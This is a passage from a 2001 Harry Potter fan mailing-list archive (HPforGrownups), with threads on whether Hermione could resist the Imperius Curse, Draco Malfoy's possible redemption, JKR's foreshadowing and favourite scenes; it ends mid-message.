I would wager that there are plenty of levels of meaning in millions of books, regardless of target audience, which many an adult misses or does not totally understand.  Understanding has easily as much to do with general knowledge, personality, personal experiences, analytical ability, reading style and hundreds of other factors as it has with age.  My brother picked up a lot of the double entendres in The Simpsons in his early teens which my father didn't because he was doing the "patronising assumption about cartoons" bit and wasn't looking for them.  "Tom's Midnight Garden" (lovely book) is based around a very complicated time-travelling plot which was too confusing for my 11 year old cousin (who I would probably describe as as "average young reader") to grasp, and is definitely classed as children's fiction.
 
If children miss the Christian allegory central to the Narnia books, which they well might if they didn't grow up in a Christian country/household (I *was* brought up going to Sunday school, and I didn't see them until they were pointed out to me at 11 or so, whereupon I was very embarrassed to have missed something so obvious), does this make them "adult fiction"?  

Hagridd:

> I don't know how it got there, but for the record, the Pensieve is not 
my undesired plot device, just Moaning Myrtle.
 
I'd keep a low profile when David (Moaning Myrtle's greatest fan) gets back to the list...
 
Tabouli.


[Non-text portions of this message have been removed]




From catherine at cator-manor.demon.co.uk  Sat Sep  1 16:51:33 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Sat, 01 Sep 2001 16:51:33 -0000
Subject: Could Hermione Fight the Imperius Curse?
In-Reply-To: <9mqq89+4vsm@eGroups.com>
Message-ID: <9mr3ml+7fn2@eGroups.com>

No: HPFGUIDX 25329

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> ---Jenny wrote
> > Does anyone else think Hermione could throw off the Imperius 
> Curse?  
> But we've seen that maybe, just maybe, she doesn't do quite as well 
> on things that depend on raw talent.  She can fly (PS/SS), but 
> there's no evidence that she's especially good at it.  She never 
> fights off a boggart (she fails this part of Lupin's final exam).  
> Fighting off an Imperius Curse seems like something that depends 
> largely on pure force of will -- there's no incantation.  (Although 
> Ron complains that he hasn't had time to read up on fighting 
Imperius 
> in GoF).  
> 
> But I'm willing to be persuaded to the contrary.
> 
> Cindy

I don't agree.  I am of the opinion that much of magic relies on 
focussing and strength of mind.  That is one of the reasons that 
Hermione does so well in subjects such as charms, because it isn't 
merely theoretical - it requires practice, concentration and 
singlemindedness.  We know this is the case from the way Hermione 
teaches Harry how to do the summoning charm.    Considering this, I 
would have thought that Hermione would have the strength of character 
to fight off a curse.

Regarding the boggart - doing badly is one of Hermione's biggest 
insecurities.  I think in this instance, it wasn't her lack of 
strength of mind that failed her, I think that it is entirely 
possible that she lost her head for a moment, which we know she is 
able to do in a crisis, such as in the "But there's no wood!" scene.  
A completely different kind of weakness from lack of strength of mind.

Generally speaking as well, I would say that Hermione is a very 
strong person.  She very much knows her own mind.  She sticks to her 
guns - is very singleminded about doing what is right for her - 
including all the studying, the house-elves and generally standing up 
for what she believes is right and fair.  Marrying this obvious 
strength with her strength as a witch, then I think she has the 
potential to be extremely powerful, and therefore likely to be able 
to conjure a Patronus or not allow her mind to be bent by someone 
else.

Finally, why do you think it was Ron that JKR focussed on in that 
scene?  Is she warning us - dropping one of her little clues?  Or is 
she dropping a massive red herring.  I do tend towards the former.

Catherine




From caliburncy at yahoo.com  Sat Sep  1 17:49:37 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 01 Sep 2001 17:49:37 -0000
Subject: Could Hermione Fight the Imperius Curse?
In-Reply-To: <9mqm90+hb53@eGroups.com>
Message-ID: <9mr73h+40b6@eGroups.com>

No: HPFGUIDX 25330

First off, hi again, everyone, I'm back after a brief disappearance.

I'm definitely not going to draw any firm conclusions about whether or 
not Hermione coud fight off the Imperious Curse without some more 
evidence.  But my leaning is to say that at the time of GOF (or 
earlier), no she wouldn't have been able to, but she would be by the 
later books (whether or not she will ever be tested in that is another 
 question entirely).

We know she is a talented witch, giving some points in her favor.  We 
know she is determined and strong-willed: even more points in her 
favor, since, as many have observed, this is the primary requisite for 
fighting the Imperious Curse.  But I would argue her strength of will 
is not as strong as Harry's (and Harry is the only benchmark we have 
in this case, except maybe the Crouch's) even if her dedication to a 
cause and stubbornness is in a way greater than Harry's is.  These may 
all sound like near synonyms, but they're not.  Just being stubborn 
wouldn't necessarilly help.  I know many stubborn people who I don't 
think really have what I would call true strength of will.  
You need to have faced real adversity and hardship, not just 
refused to yield in some inconsequential arguments.  Hermione 
definitely has some true strength of will, but not quite enough yet; 
she will develop it more I think as she grows.

Harry has this innately and it is this edge that helps him fight it 
when powerful wizards like Crouch, Sr. and Jr. both had a much more 
difficult time fighting the effects.  I don't think he is a more 
powerful wizard than they are at this time, although he will become a 
more powerful wizard than them eventually since he clearly has an 
ocean of untapped potential.

As a side note, Hermione's innability to fight the boggart is quite 
understandable.  The situation was kind of unfair for her.  She was 
taking a test and her greatest fear was to fail those tests.  Everyone 
else was taking a test and fighting fears unrelated to the test.  In 
fact their normal anxiety to perform well on the test was probably 
helped by the distraction of some greater, unrelated fear.  Hermione's 
was exacerbated.  So her fear was more truly present at that moment 
than anyone else's was, you know?

-Luke

--- In HPforGrownups at y..., meboriqua at a... wrote:
> Last night I was chatting with Ebony (waves in the direction of 
> Detroit) and, of course, we talked about HP.  Now, many of us here 
> speculate about Ron and how he might somehow lulled to the Dark 
Side, 
> whether it be through the Imperius Curse or something else.
> 
> In GoF, Harry was able to throw the curse but Ron was not.  Hermione 
> was not mentioned.  I, for one, think that her studious ways are 
only 
> a part of her talent and would venture to say that she is extremely 
> talented and strong and could possibly throw off the curse too.  I 
> cannot see her being controlled.
> 
> Does anyone else think Hermione could throw off the Imperius Curse? 
 
> Why?
> 
> --jenny from ravenclaw, who is really hoping that she actually 
> stumbled upon a *gasp* new topic here **********************




From caliburncy at yahoo.com  Sat Sep  1 17:50:05 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 01 Sep 2001 17:50:05 -0000
Subject: Could Hermione Fight the Imperius Curse?
In-Reply-To: <9mqm90+hb53@eGroups.com>
Message-ID: <9mr74d+vfp3@eGroups.com>

No: HPFGUIDX 25331

First off, hi again, everyone, I'm back after a brief disappearance.

I'm definitely not going to draw any firm conclusions about whether or 
not Hermione coud fight off the Imperious Curse without some more 
evidence.  But my leaning is to say that at the time of GOF (or 
earlier), no she wouldn't have been able to, but she would be by the 
later books (whether or not she will ever be tested in that is another 
 question entirely).

We know she is a talented witch (beyond just being studios), giving 
some points in her favor.  We know she is determined and 
strong-willed: even more points in her 
favor, since, as many have observed, this is the primary requisite for 
fighting the Imperious Curse.  But I would argue her strength of will 
is not as strong as Harry's (and Harry is the only benchmark we have 
in this case, except maybe the Crouch's) even if her dedication to a 
cause and stubbornness is in a way greater than Harry's is.  These may 
all sound like near synonyms, but they're not.  Just being stubborn 
wouldn't necessarilly help.  I know many stubborn people who I don't 
think really have what I would call true strength of will.  
You need to have faced real adversity and hardship, not just 
refused to yield in some inconsequential arguments.  Hermione 
definitely has some true strength of will, but not quite enough yet; 
she will develop it more I think as she grows.

Harry has this innately and it is this edge that helps him fight it 
when powerful wizards like Crouch, Sr. and Jr. both had a much more 
difficult time fighting the effects.  I don't think he is a more 
powerful wizard than they are at this time, although he will become a 
more powerful wizard than them eventually since he clearly has an 
ocean of untapped potential.

As a side note, Hermione's innability to fight the boggart is quite 
understandable.  The situation was kind of unfair for her.  She was 
taking a test and her greatest fear was to fail those tests.  Everyone 
else was taking a test and fighting fears unrelated to the test.  In 
fact their normal anxiety to perform well on the test was probably 
helped by the distraction of some greater, unrelated fear.  Hermione's 
was exacerbated.  So her fear was more truly present at that moment 
than anyone else's was, you know?

-Luke

--- In HPforGrownups at y..., meboriqua at a... wrote:
> Last night I was chatting with Ebony (waves in the direction of 
> Detroit) and, of course, we talked about HP.  Now, many of us here 
> speculate about Ron and how he might somehow lulled to the Dark 
Side, 
> whether it be through the Imperius Curse or something else.
> 
> In GoF, Harry was able to throw the curse but Ron was not.  Hermione 
> was not mentioned.  I, for one, think that her studious ways are 
only 
> a part of her talent and would venture to say that she is extremely 
> talented and strong and could possibly throw off the curse too.  I 
> cannot see her being controlled.
> 
> Does anyone else think Hermione could throw off the Imperius Curse? 
 
> Why?
> 
> --jenny from ravenclaw, who is really hoping that she actually 
> stumbled upon a *gasp* new topic here **********************




From caliburncy at yahoo.com  Sat Sep  1 17:55:29 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 01 Sep 2001 17:55:29 -0000
Subject: Could Hermione Fight the Imperius Curse?
In-Reply-To: <9mr74d+vfp3@eGroups.com>
Message-ID: <9mr7eh+hd9i@eGroups.com>

No: HPFGUIDX 25332

GRR!  My last message posted twice.  Sorry about that.  Anyway, I'll 
add another random, almost unrelated thought.

The other thing to note about Hermione is she is very lawful, as well 
as ethical.  This lawfulness makes her naturally obedient.  So the 
Imperious Curse is something she might readily succumb to.  But when 
pressed to do something unethical, her morality might kick in and in 
some ways it might be a much more interesting fight to see--her 
lawfulness vs. her sense of morality--than, say, watching Harry 
fight it, who is also ethical, but not as strictly lawful.  This makes 
it less of an inner conflict for him.

-Luke




From oppen at cnsinternet.com  Sat Sep  1 18:00:55 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Sat, 1 Sep 2001 13:00:55 -0500
Subject: Malfoy's Redemption
Message-ID: <003d01c13310$0c50cdc0$dcc71bce@hppav>

No: HPFGUIDX 25333

You know, one reason we don't like Draco Malfoy is because he speaks so
contemptuously of Muggle-born wizards and Muggles---and we're all Muggles
here.  _However,_ could there be reasons that a lot of people born into the
wizarding world don't care much for non-wizards that have to do with past
history of relations between the worlds, or prior Muggle behavior?  I know
people who still regret the outcome of the Battle of Bosworth, in 1485,
which is _before_ the big witch-hunting craze of the Renaissance and
Reformation days.  A lot of bad blood between mages and Muggles could date
back to that time. By the standards of historical feuds, it wouldn't be the
longest-lived by any means at all.  The Serbs haven't forgotten the Field of
Kosovo, which was in the 1300s; the Greeks haven't forgiven the Fourth
Crusade of 1204, and those are just the examples I can think of that are
least likely to set off flamewars on this list.

Also, another reason that wizard-born wizards may not trust Muggle-borns
could be because Muggle-borns have loyalties outside of the wizarding world,
and may betray the existence of wizards and the magical world while acting
on those loyalties.  I know that, for example, if I were a Muggle-born
medical wizard, and could cure one of my Muggle relatives of something that
would otherwise certainly kill him or her, I'd do it and worry about keeping
my secret secret later, if ever.

Finally---a lot of people on here are eager to see Draco Malfoy d*mned.
Keep in mind, people, he's only fifteen at the end of GoF, and although he's
a poisonous little pill, he's got a lot of growing up still to do---at
fifteen, as I've mentioned, even I hadn't attained the pinnacles and peaks
of human perfection that I since have scaled.  I did things back then that I
now regret pretty badly.

One thing that might very well end up bringing Draco around to the side of
the Good Guys (tm) could be finding out that both Voldemort and his own
father regard him, not as a potential colleague, but as a pawn---and an
expendable one at that.  Particularly if he idolizes his father, finding out
that to his father, he's not a son, but an expendable _thing_ would be a
dreadful shock---for an analogy, think of the feelings of a woman who finds
that the man she's been sleeping with, the man she loved, not only didn't
love her but didn't really care about her, but just used her because she was
there and available.  Lucius Malfoy's easily cold enough to consider his son
expendable---and we don't know if Draco has brothers, do we?  If there're
already several Malfoy sons, Lucius could cheerfully sacrifice Draco to some
scheme of the Dark Lord's without a second thought.

Just my two knuts---

Eric (Technomad) Oppen




From margdean at erols.com  Sat Sep  1 17:41:29 2001
From: margdean at erols.com (Margaret Dean)
Date: Sat, 01 Sep 2001 13:41:29 -0400
Subject: [HPforGrownups] Re: Could Hermione Fight the Imperius Curse?
References: <9mr7eh+hd9i@eGroups.com>
Message-ID: <3B911DC9.34149960@erols.com>

No: HPFGUIDX 25334

caliburncy at yahoo.com wrote:

> The other thing to note about Hermione is she is very lawful, as well
> as ethical.  This lawfulness makes her naturally obedient.  So the
> Imperious Curse is something she might readily succumb to.  But when
> pressed to do something unethical, her morality might kick in and in
> some ways it might be a much more interesting fight to see--her
> lawfulness vs. her sense of morality--than, say, watching Harry
> fight it, who is also ethical, but not as strictly lawful.  This makes
> it less of an inner conflict for him.

This is very true:  Harry and Hermione have widely different
ingrained attitudes toward authority, and I think a lot of this
has to do with their upbringing.  We haven't seen much of
Hermione's parents so far, but in absence of evidence to the
contrary I think we can assume she has a good relationship with
them, trusts them, possibly gets a lot of her attitudes from
them.  Therefore she has no reason not to trust the natural adult
authority figures in her life, leading to a certain respect for
authority.

Harry, OTOH, has been raised by the Dursleys.  Do I have to
elaborate on what this has probably done to his attitude toward
authority figures?  :)  Practically all his life he's had to defy
authority, at least within his own mind, in order to survive
psychologically, to preserve any sense of self-worth at all.  I
suspect this is why he finds it so much easier to resist the
Imperius Curse than most of his classmates; those particular
mental muscles are well-toned.  That's not necessarily true in
Hermione's case.  They're both strong people, but their strengths
are differently directed.  Hermione might eventually learn to
throw off the Imperius Curse but I don't think she'd do it as
easily as Harry -- certainly not at first, and possibly never.


--Margaret Dean
  <margdean at erols.com>



From pegasus0580 at yahoo.ca  Sat Sep  1 19:57:35 2001
From: pegasus0580 at yahoo.ca (pegasus0580 at yahoo.ca)
Date: Sat, 01 Sep 2001 19:57:35 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <9mpege+pr5n@eGroups.com>
Message-ID: <9mrejf+edik@eGroups.com>

No: HPFGUIDX 25335

--- In HPforGrownups at y..., pbnesbit at m... wrote:
> --- In HPforGrownups at y..., Amanda Lewanski <editor at t...> wrote:
> > princesskatie115 - wrote:
> > 
> > > Please share your favourites! I would absolutely L-O-V-E to 
hear 
> them!!
> > 
> > Three, off the top of my head....
> > 
> > --The staffroom scene, where they all band together to beard Lupin
> > 
> > --The duelling scene
> > 
> > --The showdown in Snape's office when he's caught Harry just 
after 
> he got back from Hogsmeade
> > 
> > Amazing, isn't it, that they all have Snape in them....what a 
> coincidence...
> > 
> > --Amanda
> 
> I love those three (only I think Amanda meant to say Lockhart 
instead 
> of Lupin for the first one).  
> 
> And I'll add these five...
> 
> Snape's speech in Harry's first Potions class
> 
> Lupin's scene with Peeves 
> 
> Lupin's first DADA class with the boggart
> 
> Lupin's confrontation of the Dementor on the train
> 
> The entire Shrieking Shack scene
> 
> Notice they've all got Sirius, Severus, and Remus in them.  Wonder 
> why...
> 
> Peace & Plenty, 
> 
> Parker

I'll have to agree with Lupin's scene with Peeves and the Shrieking 
Shack scene but I shall add:

--when Snape tries to read the Maurauders' Map and gets told off by 
it, and when he calls Lupin in to look at it
--when Sirius jokes about being a lovable stray and Harry seems to be 
a bit worried about him
--when Harry is introduced to Fawkes who surprized him by burning up
--when Dumbledore was talking to Karkaroff about the room of 
chamberpots
--and when Hagrid went to pick up Harry in the boat in the first book




From pegasus0580 at yahoo.ca  Sat Sep  1 20:04:26 2001
From: pegasus0580 at yahoo.ca (pegasus0580 at yahoo.ca)
Date: Sat, 01 Sep 2001 20:04:26 -0000
Subject: Is Ron a seer?
In-Reply-To: <9moh3a+ga8k@eGroups.com>
Message-ID: <9mrf0a+5lss@eGroups.com>

No: HPFGUIDX 25336

--- In HPforGrownups at y..., issybizz at h... wrote:
issy:
> Has anyone else noticed that Ron seems to have mystical powers? 
> (unconscious powers that need no wand - ie, Harry puffing up his 
Aunt 
> Marge).
> 
>    Maybe, (looking at GoF), having seer powers is something that 
runs 
> in the family, (unrealised probably). At the Quidditch World Cup 
F&G 
> predicted, (v. confidently) "that Ireland will win - but Krum gets 
> the snitch" p81. That correct prediction wasn't a coincidence.
I also noticed that Mrs. Weasley seems to have some kind of power 
too.  She knew that Fred and George had their joke merchandise in 
their pockets when they were going to the Quidditch World Cup, and 
therefore confiscated it.  Or is it that she just knows them well 
enough to know what they are up to?




From heidi.h.tandy.c92 at alumni.upenn.edu  Sat Sep  1 20:36:50 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Sat, 1 Sep 2001 16:36:50 -0400 
Subject: [HPforGrownups] Re: Is Ron a seer?
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B21@MIAEXCH1>

No: HPFGUIDX 25337

Oh, that exists in the muggle world too. It's called. MOMpower and it
involves having eyes in the back of your head, a heightened sense of touch,
and the ability to See mischief in a single bound. Listies with such power
include amanda and carole. I am working on it...

-----Original Message-----
From: pegasus0580 at yahoo.ca <pegasus0580 at yahoo.ca>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Sat Sep 01 16:04:26 2001
Subject: [HPforGrownups] Re: Is Ron a seer?

Real-To:  pegasus0580 at yahoo.ca

--- In HPforGrownups at y..., issybizz at h... wrote:
issy:
> Has anyone else noticed that Ron seems to have mystical powers? 
> (unconscious powers that need no wand - ie, Harry puffing up his 
Aunt 
> Marge).
> 
>    Maybe, (looking at GoF), having seer powers is something that 
runs 
> in the family, (unrealised probably). At the Quidditch World Cup 
F&G 
> predicted, (v. confidently) "that Ireland will win - but Krum gets 
> the snitch" p81. That correct prediction wasn't a coincidence.
I also noticed that Mrs. Weasley seems to have some kind of power 
too.  She knew that Fred and George had their joke merchandise in 
their pockets when they were going to the Quidditch World Cup, and 
therefore confiscated it.  Or is it that she just knows them well 
enough to know what they are up to?



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From jkusalavagemd at yahoo.com  Sat Sep  1 21:28:13 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sat, 01 Sep 2001 21:28:13 -0000
Subject: Malfoy's Redemption
In-Reply-To: <003d01c13310$0c50cdc0$dcc71bce@hppav>
Message-ID: <9mrjtd+sm6i@eGroups.com>

No: HPFGUIDX 25338

--- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:
 

> 
> Finally---a lot of people on here are eager to see Draco Malfoy 
d*mned.
> Keep in mind, people, he's only fifteen at the end of GoF, and 
although he's
> a poisonous little pill, he's got a lot of growing up still to 
do---at
> fifteen, as I've mentioned, even I hadn't attained the pinnacles
and 
peaks
> of human perfection that I since have scaled.  I did things back 
then that I
> 
> Eric (Technomad) Oppen

Eric, that was an insightful catalogue of some of the origins for the 
many unresolved conflicts that, sadly, persist to this day.  However,
when I speak of Draco's irredeemability, I do so not as a matter of 
personal preference, but as a result of my conclusions after reading 
what JKR has had Draco say and do.  Whatever charitable impulses I 
might have for a person like Draco, as a character in a narrative,
JKR has created Draco without any good side.  There has been no 
foreshadowing of his redemption in the books to date. If Draco were
to turn good it would be a turnaround far greater than that 
of Quirrel/Voldemort, or of Moody/Crouch, Jr., or of 
Snape-the-Death Eater/Snape-as-spy-for-Dumbledore, and one for which 
JKR has not laid any foundation.  All this of course is my most
humble opinion-- but one which I have backed with a wager.

Haggridd




From maryblue67 at yahoo.com  Sat Sep  1 21:36:12 2001
From: maryblue67 at yahoo.com (Maria)
Date: Sat, 1 Sep 2001 14:36:12 -0700 (PDT)
Subject: [HPforGrownups] Re: Favourite Quotes and/or Scenes...
In-Reply-To: <9mqljf+99m3@eGroups.com>
Message-ID: <20010901213612.61820.qmail@web11108.mail.yahoo.com>

No: HPFGUIDX 25339

I guess there would be more, but the one that pops in my
head is when Snape gets the Marauder's Map from harry, and
the map keeps insulting him... i thought it was very
clever...



=====
Maryblue
----------------------------------------------------------
"Gravitation cannot be held responsible for people falling
in love" - Eistein

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From maidne at yahoo.com  Sat Sep  1 22:14:17 2001
From: maidne at yahoo.com (maidne at yahoo.com)
Date: Sat, 01 Sep 2001 22:14:17 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <20010901213612.61820.qmail@web11108.mail.yahoo.com>
Message-ID: <9mrmjp+5g89@eGroups.com>

No: HPFGUIDX 25340

My favorite isn't really a scene, but I love the way the Hogwarts 
letters are addressed to Harry in SS.  "Harry Potter, Cupboard Under 
the Stairs"  "Harry Potter, The Smallest Bedroom"  "Harry Potter, The 
Floor, Hut on the Rock, The Sea"  :D  JKR's details are great.  :)




From foxmoth at qnet.com  Sat Sep  1 22:48:51 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Sat, 01 Sep 2001 22:48:51 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9mrjtd+sm6i@eGroups.com>
Message-ID: <9mrokj+b763@eGroups.com>

No: HPFGUIDX 25341

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
 Whatever charitable impulses I 
> might have for a person like Draco, as a character in a narrative,
> JKR has created Draco without any good side.  There has been no 
> foreshadowing of his redemption in the books to date. If Draco were
> to turn good it would be a turnaround far greater than that 
> of Quirrel/Voldemort, or of Moody/Crouch, Jr., or of 
> Snape-the-Death Eater/Snape-as-spy-for-Dumbledore, and one for which 
> JKR has not laid any foundation.  All this of course is my most
> humble opinion-- but one which I have backed with a wager.

	I am a little mystified by your belief that Draco's turnaround, if 
it happened, would be a greater turnaround than Snape's. In the first 
place Draco hasn't done anything that would get him into Voldie's inner 
circle, IMO, unless you can get in just by knowing the right (wrong) 
people.
	Presumably you don't get to wear the Dark Mark just for saying 
approving things about Voldemort, or trying to get magical creatures 
executed. As a matter of fact, in Voldie's big scene, he clearly 
indicates  that it takes more than that, or even a spot of muggle 
torture, to win favor from him. 
	I do expect Draco to get worse before he gets better, at which 
time Snape's turnaround itself may foreshadow Draco's and lay the 
foundation for it.

Pippin






From cassandraclaire at mail.com  Sat Sep  1 22:53:59 2001
From: cassandraclaire at mail.com (cassandraclaire at mail.com)
Date: Sat, 01 Sep 2001 22:53:59 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9mrjtd+sm6i@eGroups.com>
Message-ID: <9mrou7+2cat@eGroups.com>

No: HPFGUIDX 25342

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> --- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:
> 
> Eric, that was an insightful catalogue of some of the origins for 
the   many unresolved conflicts that, sadly, persist to this day.


*Nods at Eric.* I agree -- that was an amazingly insightful post and 
you made some excellent points regarding the kind of reasons an old 
wizarding family like the Malfoys might have not to trust Muggles. 
(I'm not excusing their attitudes, just thanking Eric for providing 
those attitudes with a possible frame of reference.)


Hagridd: However, hen I speak of Draco's irredeemability, I do so not 
as a matter of 
> personal preference, but as a result of my conclusions after 
reading 
> what JKR has had Draco say and do.  Whatever charitable impulses I 
> might have for a person like Draco, as a character in a narrative,
> JKR has created Draco without any good side.  There has been no 
> foreshadowing of his redemption in the books to date." 

Well it wouldn't be much of a redemption if it had been foreshadowed
would it? There wasn't a heck of a lot of suggestion in the first two 
books that Scabbers the rat was in fact a deep-dyed villain either. 
He was a nice little rat without a bad side and then, bam, he was a 
slithering evildoer. *blink* In fact, I've seen the New Yorker cite 
the fact that JKR gives her plot twists so very little foreshadowing 
at all as being a weakness in the series. (I don't agree it's a 
weakness but I will agree she does it.) I maintain that while D. has 
shown no good side, he hasn't killed or maimed or done anything that 
would render him irredeemable via a trial by fire yet. And as Eric 
pointed out, he's all of fifteen (fourteen, I thought, actually?). I 
do think his extreme youth buys him a few inches of leeway.

Cassie




From catlady at wicca.net  Sat Sep  1 23:47:49 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 01 Sep 2001 23:47:49 -0000
Subject: Malfoy's Redemption
In-Reply-To: <003d01c13310$0c50cdc0$dcc71bce@hppav>
Message-ID: <9mrs35+q73k@eGroups.com>

No: HPFGUIDX 25343

--- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:

> the big witch-hunting craze of the Renaissance and Reformation
> days.  A lot of bad blood between mages and Muggles could date
> back to that time.

Yes, the wizardfolk dislike of Muggles results from wizardfolk's fear 
of Muggles which results from historical experience. Experience that 
goes back farther than the Rennaissance: Professor Binns tells us 
that when Hogwarts was founded over one thousand years, it was "far 
from prying Muggle eyes" becauser "it was an age when magic was 
feared by common people, and witches and wizards suffered much 
persecution." And Salazar's objection to Muggle-born students was not 
ascribed to thinking them inferior (lacking in ability, lacking in 
taste, or smelling bad) but to FEAR: "He disliked taking students of 
Muggle parentage, believing them to be untrustworthy."

[Which I have claimed offers the possibility that once the talented 
and sneaky Muggle-born students are, over Salazar's objections, 
admitted to Hogwarts, he might want them for his House -- he doesn't 
think them inferior, just dangerous, and the danger is not lessened 
by putting them in some other House.]

But it would be one thing if the Malfoys and Fudges taught their 
children to beware of Muggle-born wizards because they have the 
Muggle characteristics of being vicious, murderous, dangerous, 
back-stabbers on whom we should be revenged for terrible things they 
did in the past (just like Malfoys!), and it is quite another thing 
that they teach their children that Muggles are stupid and weak and 
contemptible and that Muggle-born wizards have dirty blood.

Both are racism, but the latter is a flat out deliberate lie for the 
purpose of inflating wizarding egos. The idea that the law of keeping 
wizardry secret from Muggles is for the purpose of keeping wizards 
from being bothered by Muggles seeking favors (as Hagrid explained in 
Book 1) is another part of that lie.  

> I know that, for example, if I were a Muggle-born medical wizard, 
>and could cure one of my Muggle relatives of something that would 
> otherwise certainly kill him or her, I'd do it and worry about 
> keeping my secret secret later, if ever.

Surely that problem could be solved by Memory Charms all around. 
Maybe it is why there are 'spontaneous remissions' and 'miracle 
cures'.

> Finally---a lot of people on here are eager to see Draco Malfoy 
> d*mned.

I've noticed that a LOT of people on here are EAGER not only to see 
Draco redeemed, but to argue that he isn't REALLY *that* bad even 
now. My emotions side with them -- I'm one of those people writing 
one of those 'Draco redeemed by love' fanfics that were complained of 
(I can't imagine that the hypothetical canon-Draco in hyperspace 
really MINDS all the sex he gets in fanfic), but my intellect 
discovered, while reading with canon with an eye to how to redeem it, 
just how bad canon Draco is: not merely a cruel bigot, but STUPID 
or at least *severely* lacking in COMMON SENSE.

On the other tentacle, I am very much bothered by the assertions that 
Draco cannot be redeemed (related but not identical PREDICTIONS that 
JKR will keep him as a cardboard villain strike me as sadly true). 
Not just because he is still a young-un, but SURELY pretty much 
everyone CAN be redeemed. CAN is not the same as WILL, it seems very 
unlikely to actually happen, but don't the Christians among us 
believe that their Christ came to Earth to preach that it is never 
too late to repent? I'm not a Christian, but I am a liberal, and 
therefore believe in the improvability (sometimes called 
'perfectibility') of human beings. 





From jkusalavagemd at yahoo.com  Sun Sep  2 00:07:41 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sun, 02 Sep 2001 00:07:41 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9mrou7+2cat@eGroups.com>
Message-ID: <9mrt8d+qtlc@eGroups.com>

No: HPFGUIDX 25344

--- In HPforGrownups at y..., cassandraclaire at m... wrote:
> --- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> > --- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:

> 
> Hagridd: However, hen I speak of Draco's irredeemability, I do so 
not 
> as a matter of 
> > personal preference, but as a result of my conclusions after 
> reading 
> > what JKR has had Draco say and do.  Whatever charitable impulses
I 
> > might have for a person like Draco, as a character in a narrative,
> > JKR has created Draco without any good side.  There has been no 
> > foreshadowing of his redemption in the books to date." 
> 
> Well it wouldn't be much of a redemption if it had been foreshadowed
> would it? There wasn't a heck of a lot of suggestion in the first 
two 
> books that Scabbers the rat was in fact a deep-dyed villain either. 
> He was a nice little rat without a bad side and then, bam, he was a 
> slithering evildoer. *blink* In fact, I've seen the New Yorker cite 
> the fact that JKR gives her plot twists so very little
foreshadowing 
> at all as being a weakness in the series. (I don't agree it's a 
> weakness but I will agree she does it.) I maintain that while D.
has 
> shown no good side, he hasn't killed or maimed or done anything
that 
> would render him irredeemable via a trial by fire yet. And as Eric 
> pointed out, he's all of fifteen (fourteen, I thought, actually?).
I 
> do think his extreme youth buys him a few inches of leeway.
> 
> Cassie

Perhaps it was just that lack of foreshadowing in Pettigrew's case 
that prompted the New Yorker criticism.  I must disagree with you 
about foreshadowing in general.  It is just this foreshadowing that 
makes the better mystery stories work as well as they do, it is this 
foreshadowing that allows the reader to see that, if he or she had 
been perceptive enough, they would have realized what was really
meant by the earlier passages, and that the author didn't pull a 
surprise out of her ear, the old "deus ex machina."  JKR's use of 
foreshadowing, such as:  the overheard conversations with Quirrel-- 
such as the false Moody's not knowing the rules for disciplining 
students; such as Snape's acting honorably from Book I forward in 
contradiction of Harry's opinion of him-- is her strength, not her 
weakness.  Draco may yet turn out to be good, but if JKR writes this 
without having laid a proper foundation, it will be a tired old 
rabbit-out-of-a-hat-magic-trick, and not the real magic we all know 
she can write.

Haggridd




From cynthiaanncoe at home.com  Sun Sep  2 00:16:24 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 02 Sep 2001 00:16:24 -0000
Subject: Malfoy's Redemption/Foreshadowing
In-Reply-To: <9mrou7+2cat@eGroups.com>
Message-ID: <9mrtoo+bq2a@eGroups.com>

No: HPFGUIDX 25345

--- In HPforGrownups at y..., cassandraclaire at m... wrote:
In fact, I've seen the New Yorker cite 
> the fact that JKR gives her plot twists so very little 
foreshadowing 
> at all as being a weakness in the series. (I don't agree it's a 
> weakness but I will agree she does it.) 


I'm glad to read that someone else believes there is precious little 
plot twist foreshadowing in the books.  The list of all of the 
climactic plot twists that blew right past me the first time I read 
the books is getting long:  Crouch/Moody, Sirius Black, Scabbers, 
Lupin, the timeturner, even Voldemort's return and the means of 
Harry's escape in GoF.  Frankly, I'm fine with this, as all of the 
loose ends get tied up soon enough, and I'd really be disappointed if 
I figured out a major plot twist before it happened due to too much 
foreshadowing.

That has me wondering, though:  did anyone in the group predict any 
of the major plot surprises on their first reading of the books?  

Cindy




From margdean at erols.com  Sun Sep  2 00:10:26 2001
From: margdean at erols.com (Margaret Dean)
Date: Sat, 01 Sep 2001 20:10:26 -0400
Subject: [HPforGrownups] Re: Malfoy's Redemption
References: <9mrs35+q73k@eGroups.com>
Message-ID: <3B9178F2.AB55E095@erols.com>

No: HPFGUIDX 25346

While in real life I'm not in the habit of considering anybody
"irredeemable" (especially children), in the fictional context of
JKR's world it is indeed difficult -- so far -- to envision where
Draco's redemption would come from, what might motivate that kind
of about-face for him.  All of the redemption scenarios people
